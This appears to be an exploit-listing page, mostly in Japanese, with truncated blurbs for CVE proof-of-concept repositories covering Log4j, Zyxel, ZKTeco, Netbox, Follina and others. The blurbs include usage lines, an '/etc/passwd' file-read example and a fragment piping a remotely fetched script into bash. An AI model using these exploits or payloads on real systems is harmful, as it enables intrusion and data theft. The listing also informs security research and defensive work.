CVE-2025-492026

セキュリティ勧告: CVE-2025-492026 概要 Copilot AI において、Web クエリを取得するたびに「リンクソース」セクションに意図しないハイパーリンクが含まれる脆弱性が確認されました。この問題により、トピックに関係なくユーザーが https://www.collectingflags.com へのリンクをクリックすることになり、誤情報や意図しないナビゲーションにつながる可能性があります。 影響を受けるソフトウェア 現在のすべての CoPilot デプロイメント 脆弱性の詳細 CVE-ID: CVE-2025-492026 深刻度: 中 攻撃ベクトル: リモート 影響...

CVE-2020-4463

IBM Maximo Asset Management は、XXE 脆弱性 CVE-2020-4463 による情報漏えいに対して脆弱です IBM Maximo Asset Management は、XML データを処理する際に XML 外部エンティティインジェクション XXE 攻撃に対して脆弱です。リモートの攻撃者がこの脆弱性を悪用して、機密情報を公開したり、メモリリソースを消費させたりする可能性があります。 基本スコア: 8.2 ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L 影響を受けるコアコンポーネント IBM Maximo...

CVE-2020-10128

CVE-2020-10128 - V-9.2.1より前のSearchBlox製品は、保存型クロスサイトスクリプティングに対して脆弱です 製品説明: SearchBloxは、複雑な組織向けのエンタープライズ検索を簡素化します。SearchBloxの直感的でインテリジェントなツールは、すぐに使えるセットアップ、安全な暗号化、低い総所有コストを提供します。AIを活用したソリューションは、検索ジャーニーの各ステップを最適化し、エンゲージメントを劇的に向上させます。SearchBloxは、金融サービス、ヘルスケア、政府のリーダーにとって簡単な選択です。 説明:...

s2-048

s2-048 s2-048（CVE-2017-9791）のエクスプロイトです。 root@kitploit: / \ \ / / | | \ / / | | / \ / / | | | \ \ / /| | | | | | | / /| | / / | | | | \ V / | ||/ /| || | | / /, |/ / , | | | / || ||/||// //// //|| poc: root@kitploit:...

CVE-2025-48384

CVE-2025-48384 PoC 注意事項 本リポジトリはセキュリティ教育用に作成したものです。 悪用はご遠慮ください。 本脆弱性はディレクトリ名に\rを含める必要があるため、 Linux/Unix系が影響対象となります。 下記が影響対象のGitのバージョンです。 v2.43.x系 - v2.43.7 未満 v2.44.x系 - v2.44.4 未満 v2.45.x系 - v2.45.4 未満 v2.46.x系 - v2.46.4 未満 v2.47.x系 - v2.47.3 未満 v2.48.x系 - v2.48.2 未満 v2.49.x系 - v2.49.1 未満 v2.50.x系...

CVE-2019-17564

CVE-2019-17564 CVE-2019-17564 : Apache Dubbo デシリアライゼーション リモートコード実行...

CVE-2023-31711

CVE-2023-31711 ZKTECOの不正確なアクセス制御により、リモートの攻撃者が管理APIを介して任意のファイルを読み取ることが可能です。 必要なモジュールのインストール ZKTEcoディレクトリ内: $ pip install -r ./pyzatt/requirementsdev.txt エクスプロイトの実行 ZKTEcoディレクトリ内: $ python exploit.py Connected to 10.0.2.25 Cmd getfile 例: getfile /etc/passwd: rootパスワードのハッシュを開示 getfile...

CVE-2019-5544_CVE-2020-3992

SLPサービス用スキャナー CVE-2019-5544 CVE-2020-3992 SRVLOC/SLPプロトコルを実装し、有効なOpenSLPサービスをスキャンするPythonスクリプト。 CVE-2019-5544、CVE-2020-3992、CVE-2021-21974の影響を受けるシステムを検索する際に便利です。 VMwareの脆弱性に関する詳細は、例えばこちらを参照してください。 このスクリプトはサービスが脆弱かどうかを検出するものではありませんが、リモートのVMWareバージョンとビルドを報告します。 必要条件 python3とscapyライブラリのインストールが必要です。例...

CVE-2024-23780

CVE-2024-23780 Netbox用エクスプロイト このスクリプトは、Netboxインスタンスでリモートコード実行（RCE）を可能にするCVE-2024-23780を悪用します。 使用方法 python netboxexploit.py --url --username --password パラメータ --url: NetboxインスタンスのURL。 --username: Netboxインスタンスへの認証に使用するユーザー名。 --password: Netboxインスタンスへの認証に使用するパスワード。...

CVE-2022-31269

CVE-2022-31269 Nortek Control Linear eMerge E3-Series 情報漏えい オプション引数: -h, --help show this help message and exit -u url, --url url Target url eg:"http://127.0.0.1" -f file, --file file Targets in file eg:"ip.txt" 使用方法 python3 CVE-2022-31269.py -u http://127.0.0.1 python3 CVE-2022-31269.py -f ip.tx...

CVE-2023-40296

CVE-2023-40296 async-sockets-cpp 0.3.1まで には、udpsocket.hpp の160〜167行目付近にある static void ReceiveFromUDPSocket udpSocket において、off-by-one バッファオーバーフローの脆弱性が存在します。このバッファオーバーフローは、対応するすべてのUDPサーバーに影響を与えます。リモートからのバッファオーバーフローは、UDPソケットに接続し、大きなバイトバッファを送信することで引き起こされます。...

CVE-2022-30525

CVE-2022-30525 Zyxel ファイアウォールリモートコマンドインジェクションの脆弱性（CVE-2022-30525） Optional Arguments: -h, --help show this help message and exit -u url, --url url Target url eg:"http://127.0.0.1" -f file, --file file Targets in file eg:"ip.txt" Use python3 CVE-2022-30525.py -u http://127.0.0.1 python3...

CVE-2023-38632

CVE-2023-38632 async-sockets-cpp 0.3.1 までには、tcpsocket.hpp の 102～110 行目にある static void ReceiveTCPSocket socket にリモートバッファオーバーフローの脆弱性があります。このバッファオーバーフローは、該当するすべての TCP サーバーに影響します。このリモートバッファオーバーフローは、ソケットに接続して大きなバイト列のバッファを送信することで誘発されます。 root@kitploit: while messageLength = recvsocket-sock, tempBuffer,...

CVE-2023-6553

CVE-2023-6553 WordPressのBackupプラグインにおけるCVE-2023-6553のエクスプロイト開発 これはCVSSスコア9.8の重大なCVEです。 この脆弱性により、攻撃者は脆弱なバージョンのプラグインを実行しているサーバーにコマンドを送信できます。 脆弱なバージョン Backup :9000/a.sh |bash';?"...

CVE-2017-7494_IT19115344

CVE-2017-7494IT19115344 Samba にリモートコード実行の脆弱性が発見されました。Samba 共有に対して書き込みアクセス権を持つ悪意のある認証済み Samba クライアントは、この脆弱性を利用して root として任意のコードを実行できる可能性があります。...

CVE-2023-47464

GL-AX1800 路由器安全评估报告 概述 本报告概述了对 GL.iNet 生产的 GL-AX1800 路由器进行的一次全面安全评估结果。评估旨在识别设备安全措施中的潜在漏洞和弱点。在评估过程中，发现了若干严重安全问题，包括跨站请求伪造 CSRF、不安全的文件上传、路径遍历、文件覆盖导致远程代码执行 RCE 以及无限制的文件访问下载。 漏洞 跨站请求伪造 CSRF GL-AX1800 路由器容易受到 CSRF 攻击，攻击者可利用此漏洞在已认证用户不知情的情况下执行未授权操作。通过精心构造恶意请求并诱骗用户访问特制网页，攻击者可以操控路由器设置，进而可能导致对设备的未授权访问或控制。...

CVE-2020-23934

CVE-2020-23934 参考文献 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...

CVE-2026-20253

CVE-2026-20253 - Splunk Enterprise ⚡ 簡単な使い方 このプロジェクトは、以下のような安全かつ許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone https://github.com/HORKimhab/CVE-2026-20253 cd CVE-2026-20253 Project use python follow below Create a virtual environment python...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC 手順 1. Log4jRCE.java をコンパイルし、.class ファイルを Web サーバーに移動します 例: ローカル PHP 1. cd src/main/java 2. javac Log4jRCE.java 3. .class ファイルを Web サーバーに移動するか、ローカルで PHP を起動します。例: php -S 127.0.0.1:8888 2. LDAP サーバーを起動する 1. git clone...

CVE-2022-30190_EXP_PowerPoint

CVE-2022-30190EXPPowerPoint これは PowerPoint における CVE-2022-30190 のエクスプロイトです。 ファイルの拡張子を 'zip' に変更して解凍し、\ppt\slides\rels\slide1.xml.rels を編集して、あなたの VPS の IP:Port に次のように置き換えます。その後、同じ方法で圧縮し、拡張子を 'ppsx' に変更します。'exploit.html' 内のデフォルトのペイロードは calc を実行するものです。 root@kitploit: 参照:...